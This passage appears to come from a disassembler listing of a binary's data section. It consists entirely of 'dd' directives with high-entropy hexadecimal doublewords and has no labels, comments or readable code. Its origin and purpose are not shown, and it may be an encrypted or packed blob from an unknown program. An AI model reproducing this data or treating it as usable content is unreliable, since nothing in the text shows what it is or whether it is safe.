		dd 840A640Dh, 3DD3085Ah, 2D603A1Fh, 0DB697C80h,	0CD606B8h
		dd 17C62ECCh, 35FC8F99h, 53F00C73h, 157BEE03h, 9824876Fh
		dd 0EE65974h, 0F11D862Dh, 83A30D8h, 0F0934D1Dh,	48C06600h
		dd 33146Fh, 0A5B9BB09h,	0D47FA392h, 93C4F700h, 0D6903D1Ah
		dd 6C101E89h, 0A58F80F3h, 866A4899h, 0F8472000h, 0CA56A4C5h
		dd 39C90314h, 23900783h, 0E7FECCB8h, 12ECFC00h,	8B47F76Ch
		dd 0E1F400E5h, 6B1422F6h, 0D10EE66Dh, 201F2B02h, 0DDBF0BD9h
		dd 4DA401ACh, 1258EDA5h, 5D2C0D6h, 0D08E48h, 9C6ACA5Dh
		dd 0F8B61481h, 3878547Bh, 0D6EB0440h, 2C6D62EDh, 0C613D45h
		dd 30264303h, 51CFFCC3h, 809DC606h, 71BD8D50h, 3B39E667h
		dd 30834351h
		dd 0B3DBCF87h, 2AAD7800h, 0C110D897h, 0B52B1E67h, 90F6D8BAh
		dd 0EF00ECA1h, 0DC7D330Ch, 74C4D030h, 0FC3F33DBh, 0EBA80620h
		dd 2F00BCBEh, 2B6929B8h, 675B2A67h, 0F139E8A8h,	0E4758372h
		dd 0C3007702h, 50885AC1h, 0B8F4942h, 0CB8516E6h, 75351280h
		dd 53039DE1h, 713B5B6Ch, 0D89C8FFh, 81300092h, 0CC78C4B4h
		dd 0CEA9D50h, 39F0AE2Eh, 11876200h, 0F83D73A5h,	0B9C10E05h
		dd 0D021AD9Fh, 0E0616025h, 0E501F414h, 8C59D1A8h, 28ECE0FFh
		dd 71E9006Bh, 0E2482E42h, 8400F517h, 67086F2h, 3BB0DCh
		dd 0C5124521h, 810ECF24h, 946DFD00h, 62D31038h,	5004A52Fh
		dd 5F3EB6B7h, 0C9A701CEh, 87F74988h, 0D9A5E0h, 0F24C2577h
		dd 13B8618Ah, 0AEFE7B74h, 4AAB6C18h, 80A65228h,	0B3002AA5h
		dd 6BAA7AB0h, 195AD56h,	798912C7h, 87AE0FF4h, 44DECB21h
		dd 1887FE70h, 0A2DD0038h, 0DC9886CFh, 6500225Ah, 45F05CBFh
		dd 1584AD4h, 3F322AA0h,	9E26F78Eh, 0DBC009B4h, 0B28682D1h
		dd 9B2712F1h, 0E4FE008Fh, 0E5CE0C38h, 0EA8AE000h, 974BF598h
		dd 0E27F0031h, 35371EA9h, 2600DA95h, 9C5BC102h,	9041DDB1h
		dd 446201CDh, 5ABA8B46h, 966DC8E7h, 1CFEA80Bh, 59CC8099h
		dd 7E69DC5h, 53C6DADBh,	564FD06Eh, 0A000B4Bh, 17425FBEh
		dd 0FDB37DEh, 72060170h, 48397A82h, 0CA8D67C0h,	4AA12000h
		dd 0A427C1FCh, 77621EEEh, 57CE4FB8h, 388778EEh,	5C005FD3h
		dd 0FAD70187h, 97850617h, 0A61BF001h, 21600737h, 6C6701C8h
		dd 5D7F1561h, 0C11CF8C4h, 63493E00h, 5E6DC32Fh,	2AEC19h
		dd 0A748DC34h, 0E19B47A1h, 3D78D60Ch, 3AA2084h,	0B0092BA2h
		dd 26F041BBh, 0FC004C32h, 63EBE4A1h, 0F693D99h,	7ED4D88Ch
		dd 44A7D600h, 0C701EE4Eh, 74EB46EFh, 86E4031Eh,	617D005Ah
		dd 1ADF81D0h, 7809E965h, 80B4C8A5h, 0F469310h, 0D84403DAh
		dd 5842C59h, 55022780h,	0CD4D8303h, 0B056C207h,	0B0818D5Dh
		dd 281E0000h, 1A404374h, 2C00F9ACh, 2F67B53Ch, 3DF72B73h
		dd 33809158h, 8E24A3CCh, 0FC0061E1h, 0D3973BF5h, 0F858F6h
		dd 0DF5BF344h, 0A265CDA4h, 8B3C9A03h, 0C8377EABh, 339D411h
		dd 0C147D15Eh, 7388D70Bh, 0A30051C0h, 922C3AB2h, 0D5C250h
		dd 38CB5B94h, 22C0F426h, 346C4Ch, 78D0CEDAh, 0DFE12Ch
		dd 0CB8F3230h, 0F3C480E4h, 8A5ABE00h, 4DFD0AFAh, 58720020h
		dd 9F14288Fh, 0E82442B0h, 0E300C4B4h, 5E613FD8h, 549800AFh
		dd 79EF2B0Fh, 0FD242A66h, 0AC00386Eh, 0DDC1BCA3h, 0F18A58FCh
		dd 9A430F00h, 104D809Dh, 67148501h, 45EFAD30h, 0F03F99E5h
		dd 98A0B84Ch, 94007882h, 0CCAA4984h, 1DF55Dh, 0C5CEA9C1h
		dd 6E36485h, 4567191Fh,	9A24EEC1h, 10E0EC7Dh, 0FCA700BEh
		dd 3EA57AD4h, 0C800B862h, 0ADDE07FEh, 0CC8C39h,	5C2752BDh
		dd 8594FCA3h, 0C62FC900h, 0CD8A5E6Bh, 617101FBh, 5D67ED62h
		dd 4A7440D6h, 6004F96h,	0C9B4F04Dh, 0A85FE028h,	0E11C80h
		dd 3AF193D9h, 3EE936C3h, 0F07E49h, 78AA91C0h, 798F715Ah
		dd 52D5032Dh, 37ABB293h, 9B3492F8h, 0B7A1D600h,	581E96D3h
		dd 0F1D701FFh, 178AB029h, 586FC0Ah, 0DF03100h, 11A3C99Eh
		dd 0B8414C6Bh, 32CD26h,	5514D7E3h, 0BD07463Ch, 9486C2F1h
		dd 5C40D04Ah, 551C83h, 73FE0BEFh, 0A26AF053h, 0AA6D4C00h
		dd 0F4EDC151h, 0F8390066h, 4F216C0Eh, 0DB3AC89Ch, 0FE2B8C87h
		dd 0AFE0D4h, 4C5DDC9Bh,	0D52A1622h, 2EC8B300h, 17915A47h
		dd 751E0FC6h, 448F8AF8h, 3F99DEE0h, 1238664Ah, 0EC8600EBh
		dd 26D7450h, 4E1907EDh,	40A2B7DEh, 3925C108h, 0DDA9C405h
		dd 0FF0071DFh, 0C2375E56h, 8CEA009Bh, 0FC8899ABh, 8A002F50h
		dd 7A5BB214h, 70E9CC0h,	0A7B3DFE9h, 31C4F34Ch, 0B00207Bh
		dd 19D9D08Ch, 24F8CB9Eh, 130E696h, 62AC38FEh, 80BE45A1h
		dd 0F5FAB919h, 0BC946300h, 0CB1504B0h, 6F410032h, 2C6E88C8h
		dd 3709B3C1h, 195924Ah,	6BFA136Fh, 0E279C0h, 8DD5D072h
		dd 0C1CCA184h, 5D041100h, 0C6908AFEh, 274F00BEh, 0F0D29817h
		dd 5F1EDFE7h, 1E1D2146h, 7FAFBB40h, 0F017BD0h, 0B224CEE3h
		dd 738EB080h, 5300CF8Ah, 77B72050h, 783F93Fh, 0F7EE119Eh
		dd 73D54027h, 2F00CDBAh, 6EAB7E7Ch, 140C69h, 0E63B854Fh
		dd 0B0F6A670h, 3787E10Eh, 0A8178016h, 873DDh, 68FCF32Eh
		dd 5FE2D1B2h, 0A5CA48h,	402F43CFh, 4B43CF7h, 86DB2660h
		dd 98AA83ABh, 89EC4580h, 0FAC33D03h, 80DCF061h,	37C4F9Fh
		dd 3698D7BEh, 0F793D613h, 1CDFE588h, 3B372D00h,	7B769265h
		dd 0D5890F94h, 0D8A0D9FEh, 20E65002h, 0ADEFF400h, 2B25305Ch
		dd 1FAB0111h, 0ED775547h, 26FFE850h, 3A0EE20Ah,	1000E0BAh
		dd 751CD72h, 0A17600CEh, 0DD7BF527h, 1400FF02h,	0F8052939h
		dd 1C355828h, 0CECA7C38h, 0CBFFEF01h, 24803D80h, 0BB2FE0Fh
		dd 8A6B5B00h, 76D80CBDh, 0EDCA004Eh, 71169B2Ch,	3CBACEB6h
		dd 290164FCh, 9976D435h, 0D6F0D2B1h, 8B75301Fh,	298D8F51h
		dd 4706F600h, 0CA394001h, 1989812h, 11607C28h, 80EC6518h
		dd 0E2A20C50h, 0AB263173h, 6BDB48h, 0F8565F71h,	0B2EA88B1h
		dd 57776C00h, 9A46353Ch, 482B0079h, 7D493AD8h, 28705CF2h
		dd 0C88A8E00h, 26C139D7h, 87910078h, 0A3532315h, 715C50F9h
		dd 46250051h, 8ADFC227h, 7D95788Bh, 0FE7600CFh,	6BE57C34h
		dd 3D00F509h, 0F8DA0451h, 73C49666h, 5634021Fh,	0B81B0CE6h
		dd 0F6BF6C81h, 25BC4070h, 972CEF47h, 361FD7A8h,	22DEEA40h
		dd 61D33331h, 8415E04Fh, 0A200DEB5h, 1554475h, 0C5C86A01h
		dd 0D81037AEh, 69038C28h, 0FF678053h, 62CFD8F1h, 0E7832AF8h
		dd 31978FCh, 0AE39DCB0h, 50051302h, 71517468h, 9AAFD000h
		dd 564DD6h, 6981F012h, 0AB3AF690h, 0B9711C01h, 0A3B73D36h
		dd 5428D6C9h, 0F2AFDA03h, 0EAA08B58h, 0E400EC7Fh, 0E5F3C0B3h
		dd 66332Dh, 342E03C3h, 7A7FF190h, 65B12A0Ah, 23A4A0F5h
		dd 0E1286D04h, 7AE93083h, 1F3B00A9h, 719D80F6h,	0DD1C5D7Ch
		dd 238F6544h, 0FC3600F1h, 0C1E16B16h, 0BEFDBC31h, 8716B962h
		dd 480DD631h, 0DD6836C0h, 0AA560072h, 0BB983B17h, 963A5F88h
		dd 0B13FA813h, 0BD026000h, 0DF3DF18Dh, 0BE3400AAh, 0ECD53B10h
		dd 52073309h, 0C1309DB4h, 35A7D740h, 0A94700EBh, 0F801AF22h
		dd 4B006E93h, 196C808Bh, 0B7D743h, 61699741h, 7FE6BABEh
		dd 0E332B600h, 1167994Eh, 9CF4ED9Eh, 1CDAB030h,	7380FFBh
		dd 30EAC432h, 969B80C1h, 1EB42100h, 0DCF2BD84h,	87E500FFh
		dd 94190498h, 62480313h, 0F37A00BAh, 0C66E360Bh, 80A9C0CEh
		dd 9AADB1B5h, 1F120900h, 41562985h, 1354000Dh, 75325CE0h
		dd 0B60080CDh, 97A0AF77h, 0F687448Ch, 0C7270082h, 42237AF7h
		dd 0D701ACE9h, 0F488B96Dh, 0A087C5D8h, 45740CB7h, 1ED8C0FDh
		dd 0F00484Fh, 3FB57D98h, 0F04BC451h, 468200ECh,	96E9011h
		dd 571FEDE2h, 178784A6h, 0BE07C75h, 563764Eh, 0BD5AA121h
		dd 7ECE80FFh, 230098F5h, 1029B0E8h, 58524790h, 72008675h
		dd 42220DFBh, 38024FD1h, 4D01BA2h, 81CBC06Ch, 982B07ABh
		dd 1010B262h, 9151326Eh, 0CFB49900h, 0A1B6CD34h, 0FD950066h
		dd 8C9C7CB7h, 0E970F5A5h, 3BE0635Fh, 36723EA0h,	0ED6EE887h
		dd 0F22381FAh, 752EFC02h, 0DB706500h, 0CF5295D1h, 0BE7E00A8h
		dd 86481EC2h, 0A4033563h, 66A0B541h, 2CD1F80Bh,	9D3A0014h
		dd 59619C13h, 0CA00AB40h
		dd 3E1E2F8Ah, 8696A7h, 84058C5Eh, 0C2F3B98Dh, 95B70200h
		dd 1848A612h, 0A8C000EFh, 0B080988Bh, 0D1F8BB0Bh, 0C592DF00h
		dd 1D46D825h, 119500D2h, 40F1C35h, 8007F0Eh, 671FEA9Fh
		dd 0DE8055h, 0DD27A3E1h, 39C312A1h, 0A00F6E8h, 9F23EEE9h
		dd 0E448921Eh, 0D2767Ah, 0DB5CDD98h, 8FE4CBB7h,	513DA298h
		dd 8200F0F5h, 0D530B3EBh, 0C56F89h, 0B4BDC9Ah, 0B1DB0C28h
		dd 522A320Ch, 498EF2h, 70B43EC4h, 43232C6Ch, 0CF643607h
		dd 0D38291BEh, 23209679h, 800F329h, 0FC3C9AE5h,	0F7B70056h
		dd 81B8632Fh, 0B6003A7Bh, 0BBAE5DF5h, 197778F2h, 48D9188Bh
		dd 0C2A5CDD2h, 0AA91C700h, 0E7710023h, 20C276DAh, 5DF64C2Bh
		dd 39D3151Ch, 0C3987D00h, 0CD9DD72h, 0A8D2F6BDh, 0DF7EDA08h
		dd 0A0039E31h, 72E0D568h, 0CB083DC2h, 940A3718h, 0F97BDC65h
		dd 6200AA71h, 64CC9DF1h, 1DDB8832h, 8AD6ADh, 3AFDBD76h
		dd 490E07C8h, 420EB0F5h, 0C0B1D869h, 1C23BB11h,	11CF9Bh
		dd 0A064F548h, 853A700Eh, 0A35E07A1h, 0C537B9BFh, 0F8C080DAh
		dd 466E149Eh, 9663C061h, 6A27E1h, 1452D316h, 0E2E7A36Bh
		dd 72468E18h, 0E28BDDC4h, 0A917002Ah, 7F3D878Ah, 0DF011942h
		dd 0AA8E2D4Ah, 0C8835F57h, 97A3EBC8h, 0C4E03Ch,	57D3189h
		dd 1F951739h, 0A9DA4D6h, 7802DC6h, 0C5D3447Ah, 5C2038B3h
		dd 3A228CFEh, 0D87C0738h, 2CE377A6h, 5D00B488h,	0E5C13B52h
		dd 7C9D19h, 0ECFFCF66h,	5BBCA04Ah, 801BA63Dh, 9782F6C3h
		dd 0DC6681h, 48F4E242h,	0B2613659h, 0FC917603h,	0D15EBF43h
		dd 2980702Ah, 0BA242F13h, 0DE06AC88h, 695474D8h, 14BD0018h
		dd 6A22A8B5h, 8906193h,	0B8E6FA79h, 0D2002490h,	0E3A9DC8Fh
		dd 780119A4h, 0E74F0015h, 0D53EA37Bh, 0DC5097EBh, 652638FCh
		dd 0BC1C3CB2h, 59BB7040h, 3FE9EF39h, 7D80623Ah,	0E8C4A2B1h
		dd 0CD009353h, 0F6A7201Fh, 0C0ABA3F1h, 0FD029678h, 104C66F3h
		dd 70C8066Fh, 619590h, 94B6FAD6h, 555F48D9h, 70387E49h
		dd 0E2859900h, 9DEE697Ch, 0DED73A9Ah, 5258A100h, 5CAFD15Dh
		dd 1CFFB601h, 0D7426E0Dh, 9BE4388Fh, 0ADB00FFh,	17525C6Ah
		dd 750D6938h, 0A490DA60h, 0E66455h, 0EAAA7675h,	0E7F1FD9Ch
		dd 7A7B0900h, 3296951Bh, 4B630E6Bh, 61E36089h, 9900B12Bh
		dd 0A150090Dh, 1FE72D8Ch, 0C029773Ch, 0BDBA3D6h, 0F912C1A9h
		dd 0A074214h, 803EFF32h, 97EE070Ah, 27390083h, 76256BD1h
		dd 8B73C31Ah, 784CA901h, 3FDE911Eh, 0ECBFBA30h,	1DDA00C5h
		dd 7F010D8Bh, 0D93CD797h, 503C3634h, 83048D60h,	8E95596Fh
		dd 0FF4BD698h, 0E3434C00h, 44A36040h, 0F9F31D3Bh, 42BBC3A6h
		dd 38C8966Dh, 0A703DC6Ah, 64BD8988h, 0FF0F717h,	0C041D01Ah
		dd 85A97358h, 5406A30Dh, 0EB2AB555h, 43B0E1h, 0DA6059B8h
		dd 870D1DD9h, 8932E900h, 79E506A2h, 0EDDE1EA0h,	385F1586h
		dd 0AB8C5701h, 0C9A3AC9h, 58ED664Eh, 7D007058h,	2E8842D6h
		dd 0A6F002h, 0DB358904h, 384E2BB8h, 8B991D00h, 0FF47DEC4h
		dd 0B76B3090h, 9D82B8B1h, 806DBE3Ch, 78421591h,	6EF846h
		dd 68E20AF7h, 62ADDDB0h, 0D3091000h, 74C7EC33h,	692203CDh
		dd 8732A6D9h, 0DE161C81h, 161E9F8Eh, 819300C5h,	3125EC3Ah
		dd 34AD3C18h, 0C231D29h, 84524FD7h, 0BC00CC20h,	0C4079F2Ah
		dd 3A1924EEh, 5622E5D2h, 83529738h, 7B0E6713h, 0AFAAE84Ch
		dd 64930C2Fh, 0F3584E34h, 70C067E4h, 39FBCE14h,	4FCF00ECh
		dd 1AED2E45h, 52009FE1h, 9073CC26h, 74B5F285h, 0A33A3CABh
		dd 5F2FFA06h, 0C500A13Dh, 0ACED866Dh, 29A1A85h,	0B2CB77E7h
		dd 2161760Bh, 80E0D10Ah, 0E73AC821h, 6F32A5h, 67F72911h
		dd 73A6BCAEh, 4B3D3000h, 2CD9E22Eh, 75906FCh, 0A1840C54h
		dd 72CA4Ch, 757437A7h, 937C25h,	0E798895Fh, 4E51EE0Eh
		dd 0A84F4528h, 854C3A00h, 0FF6A31C5h, 59498E7h,	3B1C5B25h
		dd 26940057h, 0E260C586h, 159BAD02h, 83A2F1E7h,	998CF0D4h
		dd 11113606h, 7E705062h, 9871FBE7h, 1172F621h, 0D59400ECh
		dd 29C935E8h, 9D100171h, 125FCEFCh, 0A6BFC0DEh,	7D638C03h
		dd 0A88E2E02h, 2C9427h,	692DD8A2h, 0E72BE0E3h, 0E5ACE4A8h
		dd 0DA650F03h, 0F8A87A25h, 185CCB36h, 2031536Ch, 0E00A993h
		dd 66D7E09Bh, 2856953Eh, 208459h, 0B05BF864h, 0CE3BA68Fh
		dd 3826E901h, 0E01A4FB9h, 0F380985Bh, 510461B1h, 0AEE1003h
		dd 0C89474D7h, 7BCF67h,	0DE4EF579h, 2CEB3A69h, 0AFDF7507h
		dd 1E4004A2h, 106547h, 90426ACDh, 0D31C94EDh, 0F786E43Fh
		dd 0E1D2A0A0h, 0CB022300h, 8790C235h, 51CF0762h, 4968FC39h
		dd 78137181h, 0C7D44009h, 7300E092h, 3F597505h,	0F8722A80h
		dd 0FCBD0082h, 23E6A99Bh, 16014425h, 5A918F58h,	0E5ECFE3Bh
		dd 9870C0DDh, 8257C3Fh,	0D7EA4012h, 0E41C3407h,	2C6917Ch
		dd 0FA44B17Ah, 3E40F675h, 0BE00E1B5h, 0D3ADCEB0h, 2E0F566h
		dd 3B50229Fh, 0BC8086A0h, 1DC7A531h, 0CAE39800h, 0A9845A0Eh
		dd 1F18005Ch, 2DE6D08Fh, 0B51240B3h, 2C2083E0h,	1086E73Fh
		dd 0DDF9AACCh, 0BC009752h, 15E70FC7h, 0A7390046h, 506E1B6Fh
		dd 7B016158h, 496AD44Fh, 34340D38h, 21710089h, 0C99F8730h
		dd 98011C53h, 3A23C4FAh, 24325513h, 4429C71Fh, 32EB4C05h
		dd 375E2054h, 947F4652h, 87F59C3Bh, 0A7504D87h,	56494C10h
		dd 0B23F314Ah, 0D86153A0h, 0FC0EC1DCh, 600E7A1Dh, 9AEB02B7h
		dd 344948F4h, 8CC9ACh, 0A2D9E49Fh, 62BCD21Fh, 10A7C72h
		dd 98F65A4Eh, 863C063Fh, 3771C2B3h, 4018E83Ah, 44556869h
		dd 74B2000h, 4CF0CFDFh,	4040F317h, 83CFA8Ch, 1C55776Ah
		dd 0AB40CC44h, 0E7CBD4C7h, 0FD36FF01h, 0A5AA488Ch, 0D4582E71h
		dd 0E44302h, 25BF629Ch,	45A10392h, 0B0444837h, 54047600h
		dd 81BA26F8h, 8F3C05F2h, 455D93h, 637ABB3Ch, 2007CBFh
		dd 0A85FFB62h, 0AD49D1h, 9C7F3087h, 8E8F662Eh, 0B9906B60h
		dd 72FE42Bh, 8299206h, 4D2760ABh, 153D699Ah, 0C844AAA1h
		dd 0E58CF504h, 68D03AF2h, 8483E78Bh, 6CDBC001h,	7609C2CBh
		dd 80FA3B0Ah, 9F892CE7h, 7CB08072h, 46F0079h, 18104F7Eh
		dd 0D2121173h, 4009362h, 3D53FBD0h, 51B5121Ah, 56A41ECAh
		dd 0F30020BEh, 1200221Eh, 37553439h, 13662A9h, 0B2EEBDCCh
		dd 0E8CE635Eh, 84027EF2h, 8D717621h, 0ECDC87FDh, 0E7D078E0h
		dd 92FB00DFh, 12C4EFE8h, 0A2985D90h, 0B9E702Eh,	237DE600h
		dd 0F2D62F8h, 0CA8D2A5Ch, 46406092h, 6B108AF3h,	21C0B027h
		dd 55396EFCh, 3FD11312h, 0A6917004h, 57B33890h,	103A58E7h
		dd 0F5A5DAA0h, 22017903h, 81FD0EE2h, 0D044B5C4h, 94E3F100h
		dd 0DB859Ah, 0B6554997h, 0F9B045F6h, 4098A551h,	37C2CA8h
		dd 2302EB1Eh, 0F4306856h, 3F312A8Eh, 0C35405h, 0EC382E12h
		dd 38527B99h, 6D019F72h, 0FB7E7667h, 9068D23Eh,	8400CB29h
		dd 0F96042ADh, 0B8AA6FF5h, 0D8C95984h, 69DD8B80h, 0C434ACBh
		dd 3C4C528h, 0E7171B85h, 7B80F13h, 2F004A7Eh, 1FE24B6Eh
		dd 26B0C861h, 40989611h, 0F394E530h, 0FCB1B82Ah, 489C1F31h
		dd 7309EC5h, 0FDC828E7h, 0C6EC2EB4h, 0C7215E6Ch, 48D48187h
		dd 0E8AAF1DBh, 0BCA00B15h, 1476E0EBh, 2F4B611Eh, 0CEC2302Ch
		dd 61406DF0h, 0C4D86433h, 0F0053B1h, 52B930CAh,	0A30ACD8Eh
		dd 2F0600DCh, 0CF6DFA3Ah, 9702600Fh, 6164F07Eh,	0E7F4C01Ah
		dd 5EC80162h, 5FD20EB6h
		dd 0F3388C8Ah, 0F18941h, 94A9FEF5h, 60FC01F8h, 0A8090B74h
		dd 0E3FA513h, 2E334198h, 5FE0E7DFh, 66B10444h, 8BC5836Dh
		dd 529CD114h, 5440014h,	414AFEF8h, 9EDF00F4h, 95A68E0Ch
		dd 0AB13CE2Ch, 6C086ACAh, 0D3C717h, 301A2BD1h, 0C9BF40B9h
		dd 0A07F00E8h, 6B549D5h, 0D37A0C83h, 88E89B38h,	0F91B71Dh
		dd 41358700h, 26EF69h, 9DD52FAFh, 0DF2D6173h, 85780492h
		dd 40068BAh, 0F9D10C7Dh, 1247C2F7h, 3CBF88Fh, 49A13A20h
		dd 6AC80BA0h, 2D5E5B06h, 152FC58h, 0C47D5DD2h, 20954252h
		dd 3F246900h, 560034D7h, 0DD3DC2C9h, 0B83218FFh, 1C6DB8EEh
		dd 901B1928h, 0D1691F0Ch, 1F593167h, 2C95B326h,	9DD3005Fh
		dd 0C085ADE2h, 0B80382E0h, 0DD0E9913h, 1FDB8BCh, 0AD6E5CA2h
		dd 14F0840h, 692B0FE0h,	8092E29Bh, 80601349h, 148DC5A9h
		dd 18D1DFAEh, 7326087Bh, 0F3C16620h, 3449836Ah,	2E975888h
		dd 277A53E0h, 3C045880h, 6529553Ah, 3360B01Ch, 8740C9C1h
		dd 0A555002Fh, 0FDDBB531h, 9315ECCEh, 984CC459h, 842C2F70h
		dd 0D29139C6h, 9C043D30h, 8538A574h, 20678903h,	0A136711Ch
		dd 372330ACh, 81D19D29h, 45A457CDh, 0AA44D030h,	859C8156h
		dd 3430BF43h, 0D0C30CB1h, 2FE2A040h, 0D81138B0h, 2457D705h
		dd 3060A17Ch, 8C6AD523h, 0C91BF114h, 60CA018h, 7072009Bh
		dd 0A051A55Fh, 58EBA9B6h, 0FE000B44h, 0F0BA57C4h, 0E092EDh
		dd 0B13302ACh, 5B859D90h, 0C41DC87Fh, 40107A4h,	5AAFA48h
		dd 7060B44Ah, 863B020Bh, 9324E250h, 0F7A5B940h,	0DDE4A88Ah
		dd 998400D8h, 7CE5AB83h, 0E486656h, 904024ECh, 5ED673C0h
		dd 0A554C480h, 3250F4F4h, 10DDA8C8h, 58A6013Fh,	0A98F06C4h
		dd 0AB13504Bh, 5000116Eh, 0C409D30Ah, 881573A0h, 0C78C7334h
		dd 801184B3h, 2400A5E4h, 64E80CF4h, 0F43EAB28h,	10CDDE30h
		dd 1858FE48h, 0B094C5E4h, 1C0AD202h, 0A4F223A7h, 84307818h
		dd 0A49952B5h, 20AA13B1h, 217AE440h, 93459D00h,	1A84805Bh
		dd 0D6D0A034h, 44580CF0h, 0A158358Eh, 4EA488A1h, 4B1411F8h
		dd 788DF3C3h, 0AD31D812h, 0B0CCE04Ah, 7872241Eh, 0B1CC47E9h
		dd 5C72B3B0h, 784C53ACh, 42640A04h, 765374C8h, 0CE760788h
		dd 0D892E8C2h, 84A63301h, 703645A9h, 1E8B7098h,	39C590A4h
		dd 98C09593h, 9B83602Eh, 184EC088h, 73A14A6h, 7E1104E2h
		dd 1CCB1979h, 1762B902h, 90A58021h, 70108426h, 68AC9B30h
		dd 0E0EA9200h, 0AF351A6h, 0F44E12FCh, 0E4443982h, 0F701EF52h
		dd 33078702h, 2EF0D4DFh, 0FC3D0A68h, 601866EEh,	9D063EECh
		dd 0FE930B40h, 498EF86Fh, 0A3C0587Dh, 0B8B4F54Ch, 73078601h
		dd 85A65039h, 5E0FBC4Ah, 0B70C2DD6h, 5FE6D328h,	0A54A657h
		dd 14FA35FCh, 51C3B31Eh, 528CA5A6h, 8CEDC08h, 1C1B6CC0h
		dd 131D07BDh, 27C01DE6h, 4EF32C58h, 0AEB8C206h,	60946460h
		dd 68B343E1h, 333CE975h, 0C6CE0129h, 6EE71CE6h,	52EE3882h
		dd 0C065AC5Fh, 2A2CBA82h, 53ACA708h, 1F4CD53h, 8B7BAF68h
		dd 0D47588ECh, 23907997h, 1C485401h, 0C4D8086Dh, 78A1B7CBh
		dd 184C29F2h, 60CE38B4h, 23B5A681h, 0EC9CA3CDh,	915C7932h
		dd 42D60063h, 8982D26Fh, 1C8F500Ah, 91CE0C83h, 2D6855EFh
		dd 8FB51E3Dh, 0F5B47312h, 0E3B1C018h, 7F0C3E4h,	368D23B4h
		dd 7E72C203h, 0EDD61498h, 0F174D407h, 0D3621C4Ah, 0E9109097h
		dd 1D4DFAC8h, 0F236698h, 7260B6E4h, 327851B1h, 18942B29h
		dd 5A464D1Ch, 2E0A256h,	18C092ADh, 3C9B8539h, 9DE611FFh
		dd 6C0D00F2h, 506F5627h, 0F6B41001h, 0FD97B8C7h, 5462C426h
		dd 5CF97E07h, 0C3D313F5h, 0BE10C0ACh, 0D1151839h, 0A1862898h
		dd 0B93F5B7Ch, 0D98400AAh, 797FAD1Fh, 0E8167852h, 0CDBC0CC1h
		dd 3308AED3h, 285452h, 0E45EE5CBh, 3E0DD279h, 6603D99Ch
		dd 9946F0FAh, 4DEFD0A0h, 420A400Eh, 0C3AA8057h,	6A435Eh
		dd 0BBFA3632h, 0CBF44AF7h, 888DB106h, 748C9FBh,	0F5D1CEB9h
		dd 899191F0h, 0D31440BEh, 300E2719h, 0C0A27194h, 35971FD5h
		dd 40560572h, 209389EAh, 21643B18h, 7E4B4500h, 0BBDBF9A2h
		dd 0E67002EFh, 0DC661EC8h, 9323098h, 3A56BD00h,	0C9599C0Ch
		dd 0D594382Dh, 75002C3Ah, 55971E3Dh, 0F40EA8E8h, 80B66FF0h
		dd 0BDB1D450h, 140C163Ch, 446B0ABEh, 0CE655074h, 209B4218h
		dd 0C5103990h, 0C4932C1h, 0EA082694h, 149DFF00h, 1752848Ah
		dd 0CB38002Ah, 285C1597h, 35301CBFh, 48E36811h,	784A7240h
		dd 0A53C38F0h, 6800433Ch, 85DCBF2Fh, 550F9333h,	7BEE774h
		dd 0FCC13730h, 308F3DA8h, 9C8ECBDDh, 0E9E53AFh,	0BC83248Eh
		dd 0EA905543h, 0EF2985A4h, 3047AC90h, 0B1527300h, 99A2007Fh
		dd 70F5D2ABh, 97001468h, 4D1F54D5h, 188B9D2Ah, 0B8278A52h
		dd 0CB400F3Ch, 31CC7407h, 5CA8F2FCh, 99C45CDDh,	25BA0200h
		dd 79A260A1h, 942800C0h, 971A9A55h, 42009175h, 2B458A46h
		dd 60510A52h, 0F6CD0885h, 2C032A53h, 5770FBA2h,	3370281Dh
		dd 7DBC0080h, 0AFB0F48Fh, 90E8FBBFh, 5DE26CA6h,	474E66Ch
		dd 8448D9h, 784E3518h, 0D548DFB5h, 3C9E0E4Ch, 34ABC090h
		dd 0A26E9CBFh, 28C988C4h, 2CDDB460h, 0F840E71Ch, 0C0110CB9h
		dd 0F5D78448h, 2A0C7410h, 87D1594h, 16043275h, 0A4816420h
		dd 8D0D38F5h, 6084A1F0h, 0CAD0F131h, 41273CEEh,	46607F0Fh
		dd 18923606h, 0B0A0DC61h, 6AF045C3h, 801B5064h,	0F88062FCh
		dd 18405CFAh, 88A31997h, 701218AEh, 812E695h, 9004F31Eh
		dd 0E08064DFh, 30408B86h, 0F5B8036Ah, 44900C81h, 0CF03548h
		dd 181BAF10h, 0C82B634Bh, 58311352h, 0E3D319C1h, 83455CE0h
		dd 691325A3h, 140C9B33h, 0C4BC91F4h, 9120FC18h,	80135B1Ch
		dd 52B3E908h, 0EF960CAh, 0F4DC8A53h, 20904A86h,	81A00A10h
		dd 71EF51Eh, 81B09B6Ah,	0F380442Ah, 18391C1h, 4AF08EFBh
		dd 0D631C62Dh, 0DEFE208Fh, 36611890h, 0D557AA68h, 1BC56087h
		dd 23AB404Dh, 0B83A6A17h, 220A0F27h, 18181F4Ch,	71828A40h
		dd 50BC77BDh, 636FD04Bh, 0BD2E01Ah, 255A1CA1h, 83C4487Ch
		dd 0E30B063h, 5AB5C03Ah, 0F718C031h, 0C35904Ch,	759510C2h
		dd 7EFC414Fh, 0FB4AA084h, 76EC8004h, 8A194055h,	475837E7h
		dd 602CEC24h, 20E0781Dh, 0A700BB04h, 34F18BC5h,	25420Dh
		dd 76AFC637h, 317F3B3h,	691F5B00h, 7DEC6084h, 0C593AF0h
		dd 0DE793000h, 1A07718Ah, 6A7EB0F8h, 7F2E18C0h,	7C951FAEh
		dd 0A85000FEh, 6F5B0594h, 9F01AF3Bh, 0B18BF117h, 9BF09E93h
		dd 4D30CC6h, 1F20025Bh,	0F22703Ah, 59A2FFh, 8B032E3Fh
		dd 23613E51h, 60F3DF1Eh, 4CB9D702h, 7E3C4970h, 39831E61h
		dd 0C60835B7h, 1F30284Bh, 0CD5D190Fh, 4191038Bh, 0A1BB0580h
		dd 0C11B980Fh, 70DB0292h, 11B80EFDh, 980C4104h,	8722511h
		dd 968C00AAh, 990638B1h, 0A674C871h, 603EBBF0h,	0A79B1F98h
		dd 3ADB5104h, 203D6C06h, 33917340h, 74484BCCh, 48315807h
		dd 58499684h, 0D340F9C0h, 78709188h, 877130C4h,	68CEF178h
		dd 0A70051E8h, 0BDF05BC7h, 9010588h, 617D6E41h,	9E6D0Eh
		dd 0AAD31BFBh, 300C6B9h, 7C3D912Bh, 0EA3C41h, 20A0FFBAh
		dd 805AAC27h, 0C0128DFAh, 0B500E1F9h, 0A3AAC459h, 0CB1300EEh
